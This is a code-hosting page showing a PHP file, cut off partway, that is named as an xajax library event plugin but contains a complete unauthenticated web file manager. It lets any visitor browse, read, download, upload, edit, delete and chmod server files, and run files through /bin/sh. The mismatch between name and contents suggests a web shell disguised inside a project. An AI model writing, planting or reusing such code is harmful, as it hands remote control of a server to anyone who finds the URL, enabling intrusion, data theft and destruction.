PageRenderTime 67ms CodeModel.GetById 8ms app.highlight 48ms RepoModel.GetById 1ms app.codeStats 1ms

/source/Plug-in/xajax/xajax_core/plugin_layer/xajaxEventPlugin.php

http://prosporous.googlecode.com/
PHP | 1724 lines | 1554 code | 114 blank | 56 comment | 22 complexity | e30c5c45d87227ebfa0629cce87c9eaa MD5 | raw file
   1<?php
   2/* ------------------------------------------------------------------------- */
   3
   4/* Your language:
   5 * 'en' - English
   6 * 'de' - German
   7 * 'fr' - French
   8 * 'it' - Italian
   9 * 'nl' - Dutch
  10 * 'se' - Swedish
  11 * 'sp' - Spanish
  12 * 'dk' - Danish
  13 * 'tr' - Turkish
  14 * 'cs' - Czech
  15 * 'ru' - Russian
  16 * 'auto' - autoselect
  17 */
  18$lang = 'auto';
  19
  20/* Charset of output:
  21 * possible values are described in the charset table at
  22 * http://www.php.net/manual/en/function.htmlentities.php
  23 * 'auto' - use the same charset as the words of my language are encoded
  24 */
  25$site_charset = 'auto';
  26
  27/* Homedir:
  28 * For example: './' - the script's directory
  29 */
  30$homedir = './';
  31
  32/* Size of the edit textarea
  33 */
  34$editcols = 80;
  35$editrows = 25;
  36
  37/* -------------------------------------------
  38 * Optional configuration (remove # to enable)
  39 */
  40
  41/* Permission of created directories:
  42 * For example: 0705 would be 'drwx---r-x'.
  43 */
  44# $dirpermission = 0705;
  45
  46/* Permission of created files:
  47 * For example: 0604 would be '-rw----r--'.
  48 */
  49# $filepermission = 0604;
  50
  51/* Filenames related to the apache web server:
  52 */
  53$htaccess = '.htaccess';
  54$htpasswd = '.htapasswd';
  55
  56/* ------------------------------------------------------------------------- */
  57
  58if (get_magic_quotes_gpc()) {
  59	array_walk($_GET, 'strip');
  60	array_walk($_POST, 'strip');
  61	array_walk($_REQUEST, 'strip');
  62}
  63
  64if (array_key_exists('image', $_GET)) {
  65	header('Content-Type: image/gif');
  66	die(getimage($_GET['image']));
  67}
  68
  69if (!function_exists('lstat')) {
  70	function lstat ($filename) {
  71		return stat($filename);
  72	}
  73}
  74
  75$delim = DIRECTORY_SEPARATOR;
  76
  77if (function_exists('php_uname')) {
  78	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  79} else {
  80	$win = ($delim == '\\') ? true : false;
  81}
  82
  83if (!empty($_SERVER['PATH_TRANSLATED'])) {
  84	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  85} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  86	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  87} elseif (function_exists('getcwd')) {
  88	$scriptdir = getcwd();
  89} else {
  90	$scriptdir = '.';
  91}
  92$homedir = relative2absolute($homedir, $scriptdir);
  93
  94$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  95
  96if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  97	$dir = relative2absolute($dir, $_POST['olddir']);
  98}
  99
 100$directory = simplify_path(addslash($dir));
 101
 102$files = array();
 103$action = '';
 104if (!empty($_POST['submit_all'])) {
 105	$action = $_POST['action_all'];
 106	for ($i = 0; $i < $_POST['num']; $i++) {
 107		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
 108			$files[] = $_POST["file$i"];
 109		}
 110	}
 111} elseif (!empty($_REQUEST['action'])) {
 112	$action = $_REQUEST['action'];
 113	$files[] = relative2absolute($_REQUEST['file'], $directory);
 114} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
 115	$files[] = $_FILES['upload'];
 116	$action = 'upload';
 117} elseif (array_key_exists('num', $_POST)) {
 118	for ($i = 0; $i < $_POST['num']; $i++) {
 119		if (array_key_exists("submit$i", $_POST)) break;
 120	}
 121	if ($i < $_POST['num']) {
 122		$action = $_POST["action$i"];
 123		$files[] = $_POST["file$i"];
 124	}
 125}
 126if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
 127	$files[] = relative2absolute($_POST['create_name'], $directory);
 128	switch ($_POST['create_type']) {
 129	case 'directory':
 130		$action = 'create_directory';
 131		break;
 132	case 'file':
 133		$action = 'create_file';
 134	}
 135}
 136if (sizeof($files) == 0) $action = ''; else $file = reset($files);
 137
 138if ($lang == 'auto') {
 139	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
 140		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
 141	} else {
 142		$lang = 'en';
 143	}
 144}
 145
 146$words = getwords($lang);
 147
 148if ($site_charset == 'auto') {
 149	$site_charset = $word_charset;
 150}
 151
 152$cols = ($win) ? 4 : 7;
 153
 154if (!isset($dirpermission)) {
 155	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
 156}
 157if (!isset($filepermission)) {
 158	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
 159}
 160
 161if (!empty($_SERVER['SCRIPT_NAME'])) {
 162	$self = html(basename($_SERVER['SCRIPT_NAME']));
 163} elseif (!empty($_SERVER['PHP_SELF'])) {
 164	$self = html(basename($_SERVER['PHP_SELF']));
 165} else {
 166	$self = '';
 167}
 168
 169if (!empty($_SERVER['SERVER_SOFTWARE'])) {
 170	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
 171		$apache = true;
 172	} else {
 173		$apache = false;
 174	}
 175} else {
 176	$apache = true;
 177}
 178
 179switch ($action) {
 180
 181case 'view':
 182
 183	if (is_script($file)) {
 184
 185		/* highlight_file is a mess! */
 186		ob_start();
 187		highlight_file($file);
 188		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
 189		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
 190		ob_end_clean();
 191
 192		html_header();
 193		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
 194
 195<hr />
 196
 197<table>
 198<tr>
 199<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
 200<pre style="margin-top: 0"><code>';
 201
 202		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
 203
 204		echo '</code></pre>
 205</td>
 206<td style="text-align: left; vertical-align: top; padding-left: 3pt">
 207<pre style="margin-top: 0">' . $src . '</pre>
 208</td>
 209</tr>
 210</table>
 211
 212';
 213
 214		html_footer();
 215
 216	} else {
 217
 218		header('Content-Type: ' . getmimetype($file));
 219		header('Content-Disposition: filename=' . basename($file));
 220
 221		readfile($file);
 222
 223	}
 224
 225	break;
 226
 227case 'download':
 228
 229	header('Pragma: public');
 230	header('Expires: 0');
 231	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
 232	header('Content-Type: ' . getmimetype($file));
 233	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
 234	header('Content-Length: ' . filesize($file));
 235
 236	readfile($file);
 237
 238	break;
 239
 240case 'upload':
 241
 242	$dest = relative2absolute($file['name'], $directory);
 243
 244	if (@file_exists($dest)) {
 245		listing_page(error('already_exists', $dest));
 246	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
 247		@chmod($dest, $filepermission);
 248		listing_page(notice('uploaded', $file['name']));
 249	} else {
 250		listing_page(error('not_uploaded', $file['name']));
 251	}
 252
 253	break;
 254
 255case 'create_directory':
 256
 257	if (@file_exists($file)) {
 258		listing_page(error('already_exists', $file));
 259	} else {
 260		$old = @umask(0777 & ~$dirpermission);
 261		if (@mkdir($file, $dirpermission)) {
 262			listing_page(notice('created', $file));
 263		} else {
 264			listing_page(error('not_created', $file));
 265		}
 266		@umask($old);
 267	}
 268
 269	break;
 270
 271case 'create_file':
 272
 273	if (@file_exists($file)) {
 274		listing_page(error('already_exists', $file));
 275	} else {
 276		$old = @umask(0777 & ~$filepermission);
 277		if (@touch($file)) {
 278			edit($file);
 279		} else {
 280			listing_page(error('not_created', $file));
 281		}
 282		@umask($old);
 283	}
 284
 285	break;
 286
 287case 'execute':
 288
 289	chdir(dirname($file));
 290
 291	$output = array();
 292	$retval = 0;
 293	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
 294
 295	$error = ($retval == 0) ? false : true;
 296
 297	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
 298
 299	if ($error) {
 300		listing_page(error('not_executed', $file, implode("\n", $output)));
 301	} else {
 302		listing_page(notice('executed', $file, implode("\n", $output)));
 303	}
 304
 305	break;
 306
 307case 'delete':
 308
 309	if (!empty($_POST['no'])) {
 310		listing_page();
 311	} elseif (!empty($_POST['yes'])) {
 312
 313		$failure = array();
 314		$success = array();
 315
 316		foreach ($files as $file) {
 317			if (del($file)) {
 318				$success[] = $file;
 319			} else {
 320				$failure[] = $file;
 321			}
 322		}
 323
 324		$message = '';
 325		if (sizeof($failure) > 0) {
 326			$message = error('not_deleted', implode("\n", $failure));
 327		}
 328		if (sizeof($success) > 0) {
 329			$message .= notice('deleted', implode("\n", $success));
 330		}
 331
 332		listing_page($message);
 333
 334	} else {
 335
 336		html_header();
 337
 338		echo '<form action="' . $self . '" method="post">
 339<table class="dialog">
 340<tr>
 341<td class="dialog">
 342';
 343
 344		request_dump();
 345
 346		echo "\t<b>" . word('really_delete') . '</b>
 347	<p>
 348';
 349
 350		foreach ($files as $file) {
 351			echo "\t" . html($file) . "<br />\n";
 352		}
 353
 354		echo '	</p>
 355	<hr />
 356	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
 357	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
 358</td>
 359</tr>
 360</table>
 361</form>
 362
 363';
 364
 365		html_footer();
 366
 367	}
 368
 369	break;
 370
 371case 'rename':
 372
 373	if (!empty($_POST['destination'])) {
 374
 375		$dest = relative2absolute($_POST['destination'], $directory);
 376
 377		if (!@file_exists($dest) && @rename($file, $dest)) {
 378			listing_page(notice('renamed', $file, $dest));
 379		} else {
 380			listing_page(error('not_renamed', $file, $dest));
 381		}
 382
 383	} else {
 384
 385		$name = basename($file);
 386
 387		html_header();
 388
 389		echo '<form action="' . $self . '" method="post">
 390
 391<table class="dialog">
 392<tr>
 393<td class="dialog">
 394	<input type="hidden" name="action" value="rename" />
 395	<input type="hidden" name="file" value="' . html($file) . '" />
 396	<input type="hidden" name="dir" value="' . html($directory) . '" />
 397	<b>' . word('rename_file') . '</b>
 398	<p>' . html($file) . '</p>
 399	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
 400	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
 401	<hr />
 402	<input type="submit" value="' . word('rename') . '" />
 403</td>
 404</tr>
 405</table>
 406
 407<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 408
 409</form>
 410
 411';
 412
 413		html_footer();
 414
 415	}
 416
 417	break;
 418
 419case 'move':
 420
 421	if (!empty($_POST['destination'])) {
 422
 423		$dest = relative2absolute($_POST['destination'], $directory);
 424
 425		$failure = array();
 426		$success = array();
 427
 428		foreach ($files as $file) {
 429			$filename = substr($file, strlen($directory));
 430			$d = $dest . $filename;
 431			if (!@file_exists($d) && @rename($file, $d)) {
 432				$success[] = $file;
 433			} else {
 434				$failure[] = $file;
 435			}
 436		}
 437
 438		$message = '';
 439		if (sizeof($failure) > 0) {
 440			$message = error('not_moved', implode("\n", $failure), $dest);
 441		}
 442		if (sizeof($success) > 0) {
 443			$message .= notice('moved', implode("\n", $success), $dest);
 444		}
 445
 446		listing_page($message);
 447
 448	} else {
 449
 450		html_header();
 451
 452		echo '<form action="' . $self . '" method="post">
 453
 454<table class="dialog">
 455<tr>
 456<td class="dialog">
 457';
 458
 459		request_dump();
 460
 461		echo "\t<b>" . word('move_files') . '</b>
 462	<p>
 463';
 464
 465		foreach ($files as $file) {
 466			echo "\t" . html($file) . "<br />\n";
 467		}
 468
 469		echo '	</p>
 470	<hr />
 471	' . word('destination') . ':
 472	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 473	<input type="submit" value="' . word('move') . '" />
 474</td>
 475</tr>
 476</table>
 477
 478<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 479
 480</form>
 481
 482';
 483
 484		html_footer();
 485
 486	}
 487
 488	break;
 489
 490case 'copy':
 491
 492	if (!empty($_POST['destination'])) {
 493
 494		$dest = relative2absolute($_POST['destination'], $directory);
 495
 496		if (@is_dir($dest)) {
 497
 498			$failure = array();
 499			$success = array();
 500
 501			foreach ($files as $file) {
 502				$filename = substr($file, strlen($directory));
 503				$d = addslash($dest) . $filename;
 504				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
 505					$success[] = $file;
 506				} else {
 507					$failure[] = $file;
 508				}
 509			}
 510
 511			$message = '';
 512			if (sizeof($failure) > 0) {
 513				$message = error('not_copied', implode("\n", $failure), $dest);
 514			}
 515			if (sizeof($success) > 0) {
 516				$message .= notice('copied', implode("\n", $success), $dest);
 517			}
 518
 519			listing_page($message);
 520
 521		} else {
 522
 523			if (!@file_exists($dest) && @copy($file, $dest)) {
 524				listing_page(notice('copied', $file, $dest));
 525			} else {
 526				listing_page(error('not_copied', $file, $dest));
 527			}
 528
 529		}
 530
 531	} else {
 532
 533		html_header();
 534
 535		echo '<form action="' . $self . '" method="post">
 536
 537<table class="dialog">
 538<tr>
 539<td class="dialog">
 540';
 541
 542		request_dump();
 543
 544		echo "\n<b>" . word('copy_files') . '</b>
 545	<p>
 546';
 547
 548		foreach ($files as $file) {
 549			echo "\t" . html($file) . "<br />\n";
 550		}
 551
 552		echo '	</p>
 553	<hr />
 554	' . word('destination') . ':
 555	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 556	<input type="submit" value="' . word('copy') . '" />
 557</td>
 558</tr>
 559</table>
 560
 561<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 562
 563</form>
 564
 565';
 566
 567		html_footer();
 568
 569	}
 570
 571	break;
 572
 573case 'create_symlink':
 574
 575	if (!empty($_POST['destination'])) {
 576
 577		$dest = relative2absolute($_POST['destination'], $directory);
 578
 579		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
 580
 581		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
 582
 583		if (!@file_exists($dest) && @symlink($file, $dest)) {
 584			listing_page(notice('symlinked', $file, $dest));
 585		} else {
 586			listing_page(error('not_symlinked', $file, $dest));
 587		}
 588
 589	} else {
 590
 591		html_header();
 592
 593		echo '<form action="' . $self . '" method="post">
 594
 595<table class="dialog" id="symlink">
 596<tr>
 597	<td style="vertical-align: top">' . word('destination') . ': </td>
 598	<td>
 599		<b>' . html($file) . '</b><br />
 600		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
 601		<label for="checkbox_relative">' . word('relative') . '</label>
 602		<input type="hidden" name="action" value="create_symlink" />
 603		<input type="hidden" name="file" value="' . html($file) . '" />
 604		<input type="hidden" name="dir" value="' . html($directory) . '" />
 605	</td>
 606</tr>
 607<tr>
 608	<td>' . word('symlink') . ': </td>
 609	<td>
 610		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 611		<input type="submit" value="' . word('create_symlink') . '" />
 612	</td>
 613</tr>
 614</table>
 615
 616<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 617
 618</form>
 619
 620';
 621
 622		html_footer();
 623
 624	}
 625
 626	break;
 627
 628case 'edit':
 629
 630	if (!empty($_POST['save'])) {
 631
 632		$content = str_replace("\r\n", "\n", $_POST['content']);
 633
 634		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
 635			listing_page(notice('saved', $file));
 636		} else {
 637			listing_page(error('not_saved', $file));
 638		}
 639
 640	} else {
 641
 642		if (@is_readable($file) && @is_writable($file)) {
 643			edit($file);
 644		} else {
 645			listing_page(error('not_edited', $file));
 646		}
 647
 648	}
 649
 650	break;
 651
 652case 'permission':
 653
 654	if (!empty($_POST['set'])) {
 655
 656		$mode = 0;
 657		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
 658		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
 659		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
 660
 661		if (@chmod($file, $mode)) {
 662			listing_page(notice('permission_set', $file, decoct($mode)));
 663		} else {
 664			listing_page(error('permission_not_set', $file, decoct($mode)));
 665		}
 666
 667	} else {
 668
 669		html_header();
 670
 671		$mode = fileperms($file);
 672
 673		echo '<form action="' . $self . '" method="post">
 674
 675<table class="dialog">
 676<tr>
 677<td class="dialog">
 678
 679	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
 680
 681	<hr />
 682
 683	<table id="permission">
 684	<tr>
 685		<td></td>
 686		<td style="border-right: 1px solid black">' . word('owner') . '</td>
 687		<td style="border-right: 1px solid black">' . word('group') . '</td>
 688		<td>' . word('other') . '</td>
 689	</tr>
 690	<tr>
 691		<td style="text-align: right">' . word('read') . ':</td>
 692		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
 693		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
 694		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
 695	</tr>
 696	<tr>
 697		<td style="text-align: right">' . word('write') . ':</td>
 698		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
 699		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
 700		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
 701	</tr>
 702	<tr>
 703		<td style="text-align: right">' . word('execute') . ':</td>
 704		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
 705		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
 706		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
 707	</tr>
 708	</table>
 709
 710	<hr />
 711
 712	<input type="submit" name="set" value="' . word('set') . '" />
 713
 714	<input type="hidden" name="action" value="permission" />
 715	<input type="hidden" name="file" value="' . html($file) . '" />
 716	<input type="hidden" name="dir" value="' . html($directory) . '" />
 717
 718</td>
 719</tr>
 720</table>
 721
 722<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 723
 724</form>
 725
 726';
 727
 728		html_footer();
 729
 730	}
 731
 732	break;
 733
 734default:
 735
 736	listing_page();
 737
 738}
 739
 740/* ------------------------------------------------------------------------- */
 741
 742function getlist ($directory) {
 743	global $delim, $win;
 744
 745	if ($d = @opendir($directory)) {
 746
 747		while (($filename = @readdir($d)) !== false) {
 748
 749			$path = $directory . $filename;
 750
 751			if ($stat = @lstat($path)) {
 752
 753				$file = array(
 754					'filename'    => $filename,
 755					'path'        => $path,
 756					'is_file'     => @is_file($path),
 757					'is_dir'      => @is_dir($path),
 758					'is_link'     => @is_link($path),
 759					'is_readable' => @is_readable($path),
 760					'is_writable' => @is_writable($path),
 761					'size'        => $stat['size'],
 762					'permission'  => $stat['mode'],
 763					'owner'       => $stat['uid'],
 764					'group'       => $stat['gid'],
 765					'mtime'       => @filemtime($path),
 766					'atime'       => @fileatime($path),
 767					'ctime'       => @filectime($path)
 768				);
 769
 770				if ($file['is_dir']) {
 771					$file['is_executable'] = @file_exists($path . $delim . '.');
 772				} else {
 773					if (!$win) {
 774						$file['is_executable'] = @is_executable($path);
 775					} else {
 776						$file['is_executable'] = true;
 777					}
 778				}
 779
 780				if ($file['is_link']) $file['target'] = @readlink($path);
 781
 782				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
 783				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
 784
 785				$files[] = $file;
 786
 787			}
 788
 789		}
 790
 791		return $files;
 792
 793	} else {
 794		return false;
 795	}
 796
 797}
 798
 799function sortlist ($list, $key, $reverse) {
 800
 801	$dirs = array();
 802	$files = array();
 803	
 804	for ($i = 0; $i < sizeof($list); $i++) {
 805		if ($list[$i]['is_dir']) $dirs[] = $list[$i];
 806		else $files[] = $list[$i];
 807	}
 808
 809	quicksort($dirs, 0, sizeof($dirs) - 1, $key);
 810	if ($reverse) $dirs = array_reverse($dirs);
 811
 812	quicksort($files, 0, sizeof($files) - 1, $key);
 813	if ($reverse) $files = array_reverse($files);
 814
 815	return array_merge($dirs, $files);
 816
 817}
 818
 819function quicksort (&$array, $first, $last, $key) {
 820
 821	if ($first < $last) {
 822
 823		$cmp = $array[floor(($first + $last) / 2)][$key];
 824
 825		$l = $first;
 826		$r = $last;
 827
 828		while ($l <= $r) {
 829
 830			while ($array[$l][$key] < $cmp) $l++;
 831			while ($array[$r][$key] > $cmp) $r--;
 832
 833			if ($l <= $r) {
 834
 835				$tmp = $array[$l];
 836				$array[$l] = $array[$r];
 837				$array[$r] = $tmp;
 838
 839				$l++;
 840				$r--;
 841
 842			}
 843
 844		}
 845
 846		quicksort($array, $first, $r, $key);
 847		quicksort($array, $l, $last, $key);
 848
 849	}
 850
 851}
 852
 853function permission_octal2string ($mode) {
 854
 855	if (($mode & 0xC000) === 0xC000) {
 856		$type = 's';
 857	} elseif (($mode & 0xA000) === 0xA000) {
 858		$type = 'l';
 859	} elseif (($mode & 0x8000) === 0x8000) {
 860		$type = '-';
 861	} elseif (($mode & 0x6000) === 0x6000) {
 862		$type = 'b';
 863	} elseif (($mode & 0x4000) === 0x4000) {
 864		$type = 'd';
 865	} elseif (($mode & 0x2000) === 0x2000) {
 866		$type = 'c';
 867	} elseif (($mode & 0x1000) === 0x1000) {
 868		$type = 'p';
 869	} else {
 870		$type = '?';
 871	}
 872
 873	$owner  = ($mode & 00400) ? 'r' : '-';
 874	$owner .= ($mode & 00200) ? 'w' : '-';
 875	if ($mode & 0x800) {
 876		$owner .= ($mode & 00100) ? 's' : 'S';
 877	} else {
 878		$owner .= ($mode & 00100) ? 'x' : '-';
 879	}
 880
 881	$group  = ($mode & 00040) ? 'r' : '-';
 882	$group .= ($mode & 00020) ? 'w' : '-';
 883	if ($mode & 0x400) {
 884		$group .= ($mode & 00010) ? 's' : 'S';
 885	} else {
 886		$group .= ($mode & 00010) ? 'x' : '-';
 887	}
 888
 889	$other  = ($mode & 00004) ? 'r' : '-';
 890	$other .= ($mode & 00002) ? 'w' : '-';
 891	if ($mode & 0x200) {
 892		$other .= ($mode & 00001) ? 't' : 'T';
 893	} else {
 894		$other .= ($mode & 00001) ? 'x' : '-';
 895	}
 896
 897	return $type . $owner . $group . $other;
 898
 899}
 900
 901function is_script ($filename) {
 902	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
 903}
 904
 905function getmimetype ($filename) {
 906	static $mimes = array(
 907		'\.jpg$|\.jpeg$'  => 'image/jpeg',
 908		'\.gif$'          => 'image/gif',
 909		'\.png$'          => 'image/png',
 910		'\.html$|\.html$' => 'text/html',
 911		'\.txt$|\.asc$'   => 'text/plain',
 912		'\.xml$|\.xsl$'   => 'application/xml',
 913		'\.pdf$'          => 'application/pdf'
 914	);
 915
 916	foreach ($mimes as $regex => $mime) {
 917		if (eregi($regex, $filename)) return $mime;
 918	}
 919
 920	// return 'application/octet-stream';
 921	return 'text/plain';
 922
 923}
 924
 925function del ($file) {
 926	global $delim;
 927
 928	if (!file_exists($file)) return false;
 929
 930	if (@is_dir($file) && !@is_link($file)) {
 931
 932		$success = false;
 933
 934		if (@rmdir($file)) {
 935
 936			$success = true;
 937
 938		} elseif ($dir = @opendir($file)) {
 939
 940			$success = true;
 941
 942			while (($f = readdir($dir)) !== false) {
 943				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
 944					$success = false;
 945				}
 946			}
 947			closedir($dir);
 948
 949			if ($success) $success = @rmdir($file);
 950
 951		}
 952
 953		return $success;
 954
 955	}
 956
 957	return @unlink($file);
 958
 959}
 960
 961function addslash ($directory) {
 962	global $delim;
 963
 964	if (substr($directory, -1, 1) != $delim) {
 965		return $directory . $delim;
 966	} else {
 967		return $directory;
 968	}
 969
 970}
 971
 972function relative2absolute ($string, $directory) {
 973
 974	if (path_is_relative($string)) {
 975		return simplify_path(addslash($directory) . $string);
 976	} else {
 977		return simplify_path($string);
 978	}
 979
 980}
 981
 982function path_is_relative ($path) {
 983	global $win;
 984
 985	if ($win) {
 986		return (substr($path, 1, 1) != ':');
 987	} else {
 988		return (substr($path, 0, 1) != '/');
 989	}
 990
 991}
 992
 993function absolute2relative ($directory, $target) {
 994	global $delim;
 995
 996	$path = '';
 997	while ($directory != $target) {
 998		if ($directory == substr($target, 0, strlen($directory))) {
 999			$path .= substr($target, strlen($directory));
1000			break;
1001		} else {
1002			$path .= '..' . $delim;
1003			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
1004		}
1005	}
1006	if ($path == '') $path = '.';
1007
1008	return $path;
1009
1010}
1011
1012function simplify_path ($path) {
1013	global $delim;
1014
1015	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1016		$path = realpath($path);
1017		if (@is_dir($path)) {
1018			return addslash($path);
1019		} else {
1020			return $path;
1021		}
1022	}
1023
1024	$pattern  = $delim . '.' . $delim;
1025
1026	if (@is_dir($path)) {
1027		$path = addslash($path);
1028	}
1029
1030	while (strpos($path, $pattern) !== false) {
1031		$path = str_replace($pattern, $delim, $path);
1032	}
1033
1034	$e = addslashes($delim);
1035	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1036
1037	while (ereg($regex, $path)) {
1038		$path = ereg_replace($regex, $delim, $path);
1039	}
1040	
1041	return $path;
1042
1043}
1044
1045function human_filesize ($filesize) {
1046
1047	$suffices = 'kMGTPE';
1048
1049	$n = 0;
1050	while ($filesize >= 1000) {
1051		$filesize /= 1024;
1052		$n++;
1053	}
1054
1055	$filesize = round($filesize, 3 - strpos($filesize, '.'));
1056
1057	if (strpos($filesize, '.') !== false) {
1058		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1059			$filesize = substr($filesize, 0, strlen($filesize) - 1);
1060		}
1061	}
1062
1063	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1064
1065	return $filesize . " {$suffix}B";
1066
1067}
1068
1069function strip (&$str) {
1070	$str = stripslashes($str);
1071}
1072
1073/* ------------------------------------------------------------------------- */
1074
1075function listing_page ($message = null) {
1076	global $self, $directory, $sort, $reverse;
1077
1078	html_header();
1079
1080	$list = getlist($directory);
1081
1082	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1083	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1084
1085	$list = sortlist($list, $sort, $reverse);
1086
1087	echo '<h1 style="margin-bottom: 0"></h1>
1088
1089<form enctype="multipart/form-data" action="' . $self . '" method="post">
1090
1091<table id="main">
1092';
1093
1094	directory_choice();
1095
1096	if (!empty($message)) {
1097		spacer();
1098		echo $message;
1099	}
1100
1101	if (@is_writable($directory)) {
1102		upload_box();
1103		create_box();
1104	} else {
1105		spacer();
1106	}
1107
1108	if ($list) {
1109		listing($list);
1110	} else {
1111		echo error('not_readable', $directory);
1112	}
1113
1114	echo '</table>
1115
1116</form>
1117
1118';
1119
1120	html_footer();
1121
1122}
1123
1124function listing ($list) {
1125	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1126
1127	echo '<tr class="listing">
1128	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1129';
1130
1131	column_title('filename', $sort, $reverse);
1132	column_title('size', $sort, $reverse);
1133
1134	if (!$win) {
1135		column_title('permission', $sort, $reverse);
1136		column_title('owner', $sort, $reverse);
1137		column_title('group', $sort, $reverse);
1138	}
1139
1140	echo '	<th class="functions">' . word('functions') . '</th>
1141</tr>
1142';
1143
1144	for ($i = 0; $i < sizeof($list); $i++) {
1145		$file = $list[$i];
1146
1147		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1148		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1149		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1150
1151		echo '<tr class="listing">
1152	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1153	<td class="filename" title="' . html($timestamps) . '">';
1154
1155		if ($file['is_link']) {
1156
1157			echo '<img src="' . $self . '?image=link" alt="link" /> ';
1158			echo html($file['filename']) . ' &rarr; ';
1159
1160			$real_file = relative2absolute($file['target'], $directory);
1161
1162			if (@is_readable($real_file)) {
1163				if (@is_dir($real_file)) {
1164					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1165				} else {
